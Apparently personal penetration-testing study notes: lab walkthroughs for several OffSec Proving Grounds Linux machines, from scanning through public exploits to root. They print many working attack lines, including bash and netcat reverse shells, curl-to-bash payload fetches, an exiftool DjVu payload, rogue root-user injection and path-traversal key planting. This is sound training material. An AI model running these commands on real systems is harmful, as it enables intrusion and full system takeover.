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Linux

Twiggy [Easy] [10]

Brief:

OS: Linux 

IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC 192.168.245.62 --open

NMAP Results:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 44:7d:1a:56:9b:68:ae:f5:3b:f6:38:17:73:16:5d:75 (RSA)
|   256 1c:78:9d:83:81:52:f4:b0:1d:8e:32:03:cb:a6:18:93 (ECDSA)
|_  256 08:c9:12:d9:7b:98:98:c8:b3:99:7a:19:82:2e:a3:ea (ED25519)
53/tcp   open  domain  NLnet Labs NSD
80/tcp   open  http    nginx 1.16.1
|_http-title: Home | Mezzanine
|_http-server-header: nginx/1.16.1
4505/tcp open  zmtp    ZeroMQ ZMTP 2.0
4506/tcp open  zmtp    ZeroMQ ZMTP 2.0
8000/tcp open  http    nginx 1.16.1
|_http-server-header: nginx/1.16.1
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Site doesn't have a title (application/json).



2/160

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

-> After seeing the nmap output we can see there is an api running at 8000 port.

→ let's investigate that

→ Open http://192.168.245.62:8000/ 

→ capture the request with the burpsuite

→ you can see the X-Upstream: salt-api/3000-1 in the response.

→ let's search for any exploits.

http://192.168.168.62:8000/
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How to run the script was given in the exploit only.

link: https://github.com/jasperla/CVE-2020-11651-poc 

but https://github.com/Al1ex/CVE-2020-11652 this is more easy one.

we can download the file & edit it.

after editing we can exploit .

https://github.com/jasperla/CVE-2020-11651-poc
https://github.com/Al1ex/CVE-2020-11652
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just change the master IP.

Exploitation:

# python3 exp.py --read /etc/passwd

# python3 exp.py --read /etc/shadow

able to see the shadow file also that means we have root access to the system.

to get the reverse shell let's edit the etc/passwd file and add the new root user :)
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# openssl passwd "password"

# echo "root2:$1$/wqTbqcz$ZjCLXy/dy6iJQXPNYDbkb/:0:0:root:/root:/bin/
bash" >> passwd

# python3 exploit.py --master 192.168.245.62 --upload-src passwd --upload-
dest ../../../../../etc/passwd

we can login as root2 via ssh.

Exfiltrated [Easy] [10]

Brief:

OS:

IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):

80



6/160

21

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.245.163 --open

NMAP Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)
|   256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)
|_  256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://exfiltrated.offsec/
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-robots.txt: 7 disallowed entries 
| /backup/ /cron/? /front/ /install/ /panel/ /tmp/ 
|_/updates/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

→ you can see in the nmap scan it is redirecting to  http://exfiltrated.offsec/ so let's attach
the IP to the exfiltrated.offsec in our /etc/hosts

http://exfiltrated.offsec/
http://exfiltrated.offsec/
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→ you can see GO TO ADMIN DASHBOARD

→ Click on it.

→ you will be redirected to http://exfiltrated.offsec/panel/ 

http://exfiltrated.offsec/panel/
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you can see the version: Subrion CMS v4.2.1

you can search for the exploits

# searchsploit Subrion CMS 4.2.1

you can see it is vulnerable to the Arbitary File Upload we will get the reverse shell

just download that file using searchsploit mirror.

and just execute it to know how it works:

# python3 49876.py -h
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you can see this exploit needs credentials.

tried simple admin/admin → got access :)

and the final exploitation command is: 

# sudo python3 49876.py -u http://exfiltrated.offsec/panel/ -l admin -p admin

http://exfiltrated.offsec/panel/
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you can see we got the shell.

but we need much more  interactive shell.

created a exploit.sh file:
 

#!/bin/bash
bash -i >& /dev/tcp/192.168.45.151/9999 0>&1

you can see we trasfered the exploit.sh file to the target system and simultaniously we
excuted it. and in other hands we are listening at 9999

commands:

$ curl http://192.168.45.151/exploit.sh | bash

kali💀kullaisec [~]# nc -nlvp 9999

    
we got initial access to the target system

Privilege Escalation:

I have trasfered the lse.sh file and ehcked nothing much seriors but I have identifies a cron
job.

www-data@exfiltrated:/var/www/html/subrion/uploads$ cat /etc/crontab

http://192.168.45.151/exploit.sh
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you can see /opt/image-exif.sh is running every min.

let's check we have permissions:

it is owned by root and we have read and execute permissions

understand the code:
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first the images present in the /var/www/html/subrion/uploads directory and it only
accepting .jpg files

and executing it.

and also the exiftool is vulnerable:

https://www.exploit-db.com/docs/49881 

researched about it.

https://github.com/convisolabs/CVE-2021-22204-exiftool  >> do in exam for super simple !!

and now we have to do further exploitation:

commands:

# sudo apt-get update && sudo apt-get install -y djvulibre-bin

kali💀kullaisec [~/offsec/pg/Lin/Exfiltrated]# cat shell.sh
#!/bin/bash

https://www.exploit-db.com/docs/49881
https://github.com/convisolabs/CVE-2021-22204-exiftool
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bash -i >& /dev/tcp/192.168.45.151/9898 0>&1

kali💀kullaisec [~/offsec/pg/Lin/Exfiltrated]# cat exploit 
(metadata "\c${system ('curl 192.168.45.151:8989/shell.sh | bash')};")

┌──(root💀kullaisec)-[/home/…/offsec/pg/Lin/Exfiltrated]
└─# djvumake exploit.djvu INFO=0,0 BGjp=/dev/null ANTa=exploit

┌──(root💀kullaisec)-[/home/…/offsec/pg/Lin/Exfiltrated]
└─# mv exploit.djvu exploit.jpg

→ Now trasfer the exploit.jpg to the target system via python server at 8989 so the shell.sh
file also can be downloaded when the exploit.jpg is executed.

and listen at 9898 port.

after uploading the exploit.jpg file at /uploads directory after a min you will get the reverse
shell as root.

we got the proof.txt file and also local.txt
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done :) 

Pelican [Medium] [20]

Brief:

OS:

IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.199.98 --open

NMAP Results:
PORT      STATE SERVICE     VERSION
22/tcp    open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
|   256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
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|_  256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
631/tcp   open  ipp         CUPS 2.2
| http-methods: 
|_  Potentially risky methods: PUT
|_http-server-header: CUPS/2.2 IPP/2.1
|_http-title: Forbidden - CUPS v2.2.10
2181/tcp  open  zookeeper   Zookeeper 3.4.6-1569965 (Built on 02/20/2014)
2222/tcp  open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 a8:e1:60:68:be:f5:8e:70:70:54:b4:27:ee:9a:7e:7f (RSA)
|   256 bb:99:9a:45:3f:35:0b:b3:49:e6:cf:11:49:87:8d:94 (ECDSA)
|_  256 f2:eb:fc:45:d7:e9:80:77:66:a3:93:53:de:00:57:9c (ED25519)
8080/tcp  open  http        Jetty 1.0
|_http-title: Error 404 Not Found
|_http-server-header: Jetty(1.0)
8081/tcp  open  http        nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Did not follow redirect to http://192.168.245.98:8080/exhibitor/v1/ui/
index.html
36085/tcp open  java-rmi    Java RMI
Service Info: Host: PELICAN; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: pelican
|   NetBIOS computer name: PELICAN\x00
|   Domain name: \x00
|   FQDN: pelican
|_  System time: 2024-02-12T00:14:43-05:00
| smb2-time: 
|   date: 2024-02-12T05:14:42
|_  start_date: N/A
|_clock-skew: mean: 1h40m00s, deviation: 2h53m13s, median: 0s

=======================================================
========================

http://192.168.245.98:8080/exhibitor/v1/ui/index.html
http://192.168.245.98:8080/exhibitor/v1/ui/index.html
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Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

→ we need to keenly observe the 8080 and 8081 when we visit 8081 it is redirecting to
8080 exhibitor page.

→ Link: http://192.168.199.98:8080/exhibitor/v1/ui/index.html

you can see it's version  is also leaking

→ let's check for any public exploits.

http://192.168.199.98:8080/exhibitor/v1/ui/index.html
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we manage to find the exploit.

Link: https://www.exploit-db.com/exploits/48654

After reading the exploit it is very simple to exploit.

the payload used: $(/bin/nc -e /bin/sh kali_IP 4444 &)

we have to put this payload in the “java.env script” field

https://www.exploit-db.com/exploits/48654
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click on commit and listen at 4444 using netcat in our kali machine.

you can see after some time we manage to get the low priviledged user access.

using : script -qc /bin/bash /dev/null this command I manage to upgrade the shell.
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we can get the local.txt

## Privilege Escalation:

→ we trasfered the lse.sh file to the target system and run it.

$ bash lse.sh -i

found sudo Misconfiguration [gcore]: https://gtfobins.github.io/gtfobins/gcore/#sudo 

https://gtfobins.github.io/gtfobins/gcore/#sudo
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to run the gcore we need to provide the PID

another misconfiguration:setuid binaries.

here in these password-store looks suspicious 

so let's looks at the process ID because the name suggest password store so the passwords
may be stored root password may be stored.

charles@pelican:~/test$ ps aux | grep password-store

You can see the PID is 497

so let's run the command using sudo misconfiguration:

command: 

charles@pelican:~/test$ sudo /usr/bin/gcore 497
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the file core.497 is created in the same direstory.

this core.497 file will be unreadable format to see all the things we can make use of strings
command

command:

charles@pelican:~/test$ strings core.497

you can see the root password.

so just type command su enter the password as ClogKingpinInning731 and hit enter.

you will get access to the root user.



22/160

got the proof.txt file

Done :)

Astronaut[Easy][10]

Brief:

OS:

IP:

Users:
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Credetials:

=======================================================
========================

Ports (Try to list):

80

22

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.233.12 --open

NMAP Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)
|   256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)
|_  256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Index of /
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2021-03-17 17:46  grav-admin/
|_
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

→ first we have to see the port 80.
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→ Running grav-admin CMS 

→ searched for the exploits

→ found one Github Exploit.

Reference: https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-
yaml-write-update-leads-to-code-execution/

https://github.com/CsEnox/CVE-2021-21425/blob/main/exploit.py 

download this exploit using wget.

# wget "https://raw.githubusercontent.com/CsEnox/CVE-2021-21425/main/
exploit.py"

Just run the exploit to see how this works ?

┌──(root💀kullaisec)-[/home/…/pg/Lin/Astronaut/CVE-2021-21425]
└─# python3 exploit.py                                                                                                    
                       
usage: exploit.py [-h] -c C -t T
exploit.py: error: the following arguments are required: -c, -t

Command: 

# python3 exploit.py -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc
192.168.45.235 4444 >/tmp/f' -t http://192.168.192.12/grav-admin

and setup a listner at 4444 you can get access to the low privileged user .

https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/
https://pentest.blog/unexpected-journey-7-gravcms-unauthenticated-arbitrary-yaml-write-update-leads-to-code-execution/
https://github.com/CsEnox/CVE-2021-21425/blob/main/exploit.py
https://raw.githubusercontent.com/CsEnox/CVE-2021-21425/main/exploit.py
https://raw.githubusercontent.com/CsEnox/CVE-2021-21425/main/exploit.py
http://192.168.192.12/grav-admin
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With Exploitdd python exploit:

we need to replace the base64 encoded hash !!

# echo -ne "bash -i >& /dev/tcp/192.168.45.205/1234 0>&1" | base64 -w0
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just run the python exploit and get the shell !!

Enumerated SUID binaries:

$ find / -perm -u=s -type f 2>/dev/null
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you can see php7.4

https://gtfobins.github.io/gtfobins/php/#suid

Enter the command present in the website.

$ php -r "pcntl_exec('/bin/sh', ['-p']);"

got the proof.txt

https://gtfobins.github.io/gtfobins/php/#suid
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Blackgate [Hard][25]

Brief:

OS:

IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.197.176 --open

NMAP Results:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 37:21:14:3e:23:e5:13:40:20:05:f9:79:e0:82:0b:09 (RSA)
|   256 b9:8d:bd:90:55:7c:84:cc:a0:7f:a8:b4:d3:55:06:a7 (ECDSA)
|_  256 07:07:29:7a:4c:7c:f2:b0:1f:3c:3f:2b:a1:56:9e:0a (ED25519)
6379/tcp open  redis   Redis key-value store 4.0.14
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]
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### LAB Steps:

→ you can see there is only two ports one is 6379 and another is ssh 22 

you can simply search for the redis exploits .

Link: https://github.com/n0b0dyCN/redis-rogue-server

→ you can git clone it.

command: 

# python3 redis-rogue-server.py --rhost=192.168.197.176 --
lhost=192.168.45.195 --lport=80

and listen at any port.

https://github.com/n0b0dyCN/redis-rogue-server
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Got access to the Initial user .

you can upgrade shell using :

script -qc /bin/bash /dev/null

got local.txt
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#Privilege Escalation:)

→ just trasfer the lse.sh file into the target system and run it wait for some time :)

pwnKit :)

How to find ?

→ enumerate the binaries:

prudence@blackgate:/home/prudence$ find / -perm -4000 2>/dev/null

→ try to see for the /usr/bin/pkexec this type of binary if you found it's a gold mine to
exploit.

→ check the permissions:

prudence@blackgate:/home/prudence$ ls -al /usr/bin/pkexec
ls -al /usr/bin/pkexec
-rwsr-xr-x 1 root root 31032 May 26  2021 /usr/bin/pkexec

→ you can see we have read and execute permissions and it is owned by the root user :)
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→ check the version

prudence@blackgate:/home/prudence$ /usr/bin/pkexec --version

you can see the version is 0.105

check for any exploits

there are multiple exploits 

But We have a great exploit for this :

Link: https://github.com/ly4k/PwnKit

References: 

https://github.com/ly4k/PwnKit


33/160

https://ine.com/blog/exploiting-pwnkit-cve-20214034

https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-
escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

Execution:

SImple one command execution:

command:

prudence@blackgate:/home/prudence$ sh -c "$(curl -fsSL https://
raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

you will get access to the root :)

got the proof.txt flag:)

Boolean [Hard] -- Pending

Brief:

OS:

https://ine.com/blog/exploiting-pwnkit-cve-20214034
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)&quot;
https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)&quot;
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IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.192.231 --open

NMAP Results:

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 37:80:01:4a:43:86:30:c9:79:e7:fb:7f:3b:a4:1e:dd (RSA)
|   256 b6:18:a1:e1:98:fb:6c:c6:87:55:45:10:c6:d4:45:b9 (ECDSA)
|_  256 ab:8f:2d:e8:a2:04:e7:b7:65:d3:fe:5e:93:1e:03:67 (ED25519)
80/tcp    open  http
| http-title: Boolean
|_Requested resource was http://192.168.192.231/login
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, Help, JavaRMI, Kerberos,
LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck,
RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq,
TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: 
|     HTTP/1.1 400 Bad Request
|   FourOhFourRequest, GetRequest, HTTPOptions: 
|     HTTP/1.0 403 Forbidden
|     Content-Type: text/html; charset=UTF-8
|_    Content-Length: 0
33017/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Development
|_http-server-header: Apache/2.4.38 (Debian)

=======================================================
========================

Web Service Enumeration:

http://192.168.192.231/login
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[+ Nikto]

[+ Fuzzing]

### LAB Steps:

→ Firstly went to http://192.168.192.231/login this and I have seen a login page where
I can create an account also.

→ Tried to create an account with username admin1 and email admin@boolean.offsec
and password as admin

→ Now login with admin1/admin credentials

→ you can see the edit email field click on change email and and try to capture the request
via BURP.

http://192.168.192.231/login
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→ the request looks like:

→ try to observe the json part of the response.

→ There a param called “confirmed”:false

→ it is false let's try to manipulate it and try to chnage it to true so we can get more access
to the dashboard.

add user%5Bconfirmed=true in the request
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you can see now it became “confirmed”:true

→ let's see in web where we have any other access.

→ when we reload the page we have an File upload functionality

→ let's try to upload any php files and get the reverse shell

→ tried uploading some files but they will be not executed when we click on file it will be
downloaded directly.
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when I tried to click on pimpmykali.sh file the URL looks like:

URL: http://192.168.192.231/?cwd=&file=pimpmykali.sh&download=true

let's think cwd is the chnage directory and let's try to shift to etc folder and get the file pass
wd

http://192.168.192.231/?cwd=/etc&file=passwd&download=true

after trying multiple times finally got the passwd file:

http://192.168.192.231/?cwd=../../../../../../../etc&file=passwd&download=true

→ you can see the username as “remi”

http://192.168.192.231/?cwd=&amp;file=pimpmykali.sh&amp;download=true
http://192.168.192.231/?cwd=/etc&amp;file=passwd&amp;download=true
http://192.168.192.231/?cwd=../../../../../../../etc&amp;file=passwd&amp;download=true
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Now let's try to get the id_rsa file in the home/remi/.ssh directory

url: http://192.168.192.231/?cwd=../../../../../../../home/remi/.ssh

Now we need to get the shell !!  How ??

First create the ssh public key and private key !! using ssh-keygen 

# ssh-keygen

Now we need to chnage the name of the public key to authorized_keys 

# cp /root/.ssh/id_ed25519.pub authorized_keys

chnage the private key to id_rsa [for our wish !!]

http://192.168.192.231/?cwd=../../../../../../../home/remi/.ssh
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# cp /root/.ssh/id_ed25519 id_rsa

Now upload the authorized_keys to http://192.168.161.231/?cwd=../../../../../home/
remi/.ssh this folder !!

So from now we can access the target system with our private key !!

http://192.168.161.231/?cwd=../../../../../home/remi/.ssh
http://192.168.161.231/?cwd=../../../../../home/remi/.ssh
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got local.txt !!

PrivEsc:

We have found intesting ssh key !!

Let's try to authenticate with that root id_rsa key !!

remi@boolean:~/.ssh/keys$ ssh -i root root@127.0.0.1
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this command failed !! due to multiple id_rsa keys ar present iin the same folder !!

so the fixed command : Reference : https://www.tecmint.com/fix-ssh-too-many-
authentication-failures-error/ 

remi@boolean:~/.ssh/keys$ ssh -i root root@127.0.0.1 -o IdentitiesOnly=yes

got the proof.txt

Codo [Easy] [10]

Brief:

https://www.tecmint.com/fix-ssh-too-many-authentication-failures-error/
https://www.tecmint.com/fix-ssh-too-many-authentication-failures-error/
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OS:

IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):

80

22

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.201.23 --open

NMAP Results:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: All topics | CODOLOGIC
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

=======================================================
========================

Web Service Enumeration:

[+ Nikto]
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[+ Fuzzing]

### LAB Steps:

→ Started with the Gobuster Fuzzing

command: 

# gobuster dir -u 192.168.201.23 -w /usr/share/wordlists/dirb/common.txt -t 5

→ you can see /admin endpoint is leaking
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→ tried admin/admin got access :)
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you can see the version details are leaked : 5.1.105

let's search for any public exploits

CodoForum v5.1 - Remote Code Execution (RCE) | php/webapps/50978.py

found the exploit it was authenticated remote code execution.

I have not used it.

Manual part: 

→ Navigate to http://192.168.201.23/index.php?u=/user/profile/1/edit this endpoint.

→ you can see the upload feature where I can only upload the avatar I was unable to upload
a php file.

→ Now navigate to Dashboard>Global Settings: http://192.168.201.23/admin/index.php?
page=config

http://192.168.201.23/index.php?u=/user/profile/1/edit
http://192.168.201.23/admin/index.php?page=config
http://192.168.201.23/admin/index.php?page=config
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→ There you can see as a admin we can set the extensions. let's add php

→ Now we have to upload the phpreverse shell file by pentest monkey

just upload it .
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→ in the gobuster results you can see the /sites endpoint is also leaking.

→ you can again bruteforce with the gobuster
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after reading the exploit we have discussed earlier in that also the /sites/default/assets/
image/attachments/ endpoint is leaking.

Now setup a listner at 9999 and just click :

http://192.168.201.23/sites/default/assets/img/attachments/php-reverse-
shell.php

you will reverse shell.

Upgrade the shell

$ script -qc /bin/bash /dev/null

# Privilege Escalation:

http://192.168.201.23/sites/default/assets/img/attachments/php-reverse-shell.php
http://192.168.201.23/sites/default/assets/img/attachments/php-reverse-shell.php
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→ I litrally not have any permissions to get the lse.sh file and start the automation

→ So I started manually doing all the things.

→ at /var/www/html/sites/default/ found one config.php file where some mysql
credentials are leaking.

→ this password can also be repeated.

my first try :

$ su root

and enter the password FatPanda123
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got proof.txt

Done :) 

Crane[Medium] [10]

Brief:

OS:

IP:

Users:

Credetials:

=======================================================
========================
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Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.179.146 --open

NMAP Results:
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 37:80:01:4a:43:86:30:c9:79:e7:fb:7f:3b:a4:1e:dd (RSA)
|   256 b6:18:a1:e1:98:fb:6c:c6:87:55:45:10:c6:d4:45:b9 (ECDSA)
|_  256 ab:8f:2d:e8:a2:04:e7:b7:65:d3:fe:5e:93:1e:03:67 (ED25519)
80/tcp    open  http    Apache httpd 2.4.38 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-title: SuiteCRM
|_Requested resource was index.php?action=Login&module=Users
| http-robots.txt: 1 disallowed entry 
|_/
3306/tcp  open  mysql?
33060/tcp open  mysqlx?

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

→ let's start with the port 80.

→ It redirected to the login panel : http://192.168.179.146/index.php?
module=Users&action=Login

http://192.168.179.146/index.php?module=Users&amp;action=Login
http://192.168.179.146/index.php?module=Users&amp;action=Login
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→ Tried admin/admin → got access as admin

→ this was using SUITE CRM so I searched for the SUITE CRM reverse shell in google .

→ Got one github repo: https://github.com/manuelz120/CVE-2022-23940

https://github.com/manuelz120/CVE-2022-23940
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Exploitation command:

# ./exploit.py -h http://192.168.179.146/ -u admin -p admin --payload "php -r '\
$sock=fsockopen(\"192.168.45.239\", 4444); exec(\"/bin/sh -i <&3 >&3
2>&3\");'"

and paralelly setup a listner at 4444

→ you can see we got the inital access to the target system

# Privilege Escalation:

Sudo Misconfiguration:

command:

$ sudo -l

http://192.168.179.146/
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searched : https://gtfobins.github.io/gtfobins/service/#sudo

Final command Exploitation:

$ sudo service ../../bin/sh

Another local.txt flag:

https://gtfobins.github.io/gtfobins/service/#sudo
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done :)

Educated [Very hard] [seen walkthrough]

See walkthrough in offsec website.. This lab should be in last

Brief:

OS:

IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):

=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.173.13 --open

NMAP Results:
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PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:4e:5d:e1:e6:97:29:6f:d9:e0:d4:82:a8:f6:4f:3f (RSA)
|   256 57:23:57:1f:fd:77:06:be:25:66:61:14:6d:ae:5e:98 (ECDSA)
|_  256 c7:9b:aa:d5:a6:33:35:91:34:1e:ef:cf:61:a8:30:1c (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Wisdom Elementary School
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

Clue [Hard]

Brief:

OS:

IP:

Users:

Credetials:

=======================================================
========================

Ports (Try to list):
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=======================================================
========================

# nmap -p- -sV -sC -oN Nmap 192.168.161.240 --open

NMAP Results:

PORT     STATE SERVICE          VERSION
22/tcp   open  ssh              OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
|   256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
|_  256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
80/tcp   open  http             Apache httpd 2.4.38
|_http-title: 403 Forbidden
|_http-server-header: Apache/2.4.38 (Debian)
139/tcp  open  netbios-ssn      Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn      Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3000/tcp open  http             Thin httpd
|_http-server-header: thin
|_http-title: Cassandra Web
8021/tcp open  freeswitch-event FreeSWITCH mod_event_socket
Service Info: Hosts: 127.0.0.1, CLUE; OS: Linux; CPE: cpe:/o:linux:linux_kernel

=======================================================
========================

Web Service Enumeration:

[+ Nikto]

[+ Fuzzing]

### LAB Steps:

→ First started with the port 3000
→ you can see it is using Cassandra Web ..
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→ Let's search for the public exploits !!

you can see it is Remote File Read !!

Cassandra Web 0.5.0 - Remote File Read --> linux/webapps/49362.py

# python3 49362.py 192.168.161.240 /etc/passwd
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tried to see the id_rsa files but Unable to see !!

we got one password [Read the exploit the command is included in the explioit ]

# python3 49362.py 192.168.161.240 /proc/self/cmdline

you can see the username and password is disclosed !!

cassie : SecondBiteTheApple330

these credetnails are used to run the cassandra server !!
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Let's try to login via SMB once !!

# smbclient -L \\\\192.168.161.240\\ -U cassie

you can see the backup share !!!

# smbclient \\\\192.168.161.240\\backup -U cassie

Let's access to that share !!
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there are many configuration files in the \etc\freeswitch\autoload_configs\

let's try to access this path configuration files using the cassendra exploit !!

# python3 49362.py 192.168.161.240 /etc/freeswitch/autoload_configs/
event_socket.conf.xml

you can see the password !! StrongClueConEight021

We are unable to move Further !!

Let's see the another port !!

8021/tcp open  freeswitch-event FreeSWITCH mod_event_socket

Search for any public exploits !!

Got exploit: https://github.com/tucommenceapousser/CVE-2019-19492

https://github.com/tucommenceapousser/CVE-2019-19492
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the default password is ClueCon in the exploit let's try to exploit with that password !!

let's replace that password with StrongClueConEight021 and again exploit !!
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Now exploit !

# python3 exploit.py 192.168.161.240 whoami

you can see We are successfull !!

# python3 exploit.py 192.168.161.240 "cat /etc/passwd | grep bin/bash"

You can see there are three users root, cassie, anthony

# python3 exploit.py 192.168.161.240 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/
bin/bash -i 2>&1|nc 192.168.45.205 80 >/tmp/f"

Get the shell !!
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tty is not there so run the python script to put the tty !!

and then we ahve the cassie password so let's get access to the cassie !!!

PrivEsc: [Sudo Misconfiguration]

cassie@clue:~$ sudo -u root /usr/local/bin/cassandra-web

Now let's run the Webserver internally on port 9999 and get access to the 0.0.0.0:9999
and we know this webserver is vulnerable to read file so let's get the root ssh keys and get
access to the root user !!

cassie@clue:~$ sudo -u root /usr/local/bin/cassandra-web -B 0.0.0.0:9999 -u
cassie -p SecondBiteTheApple330
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You can see the port 9999 is open !!

cassie@clue:/$ curl 0.0.0.0:9999



67/160

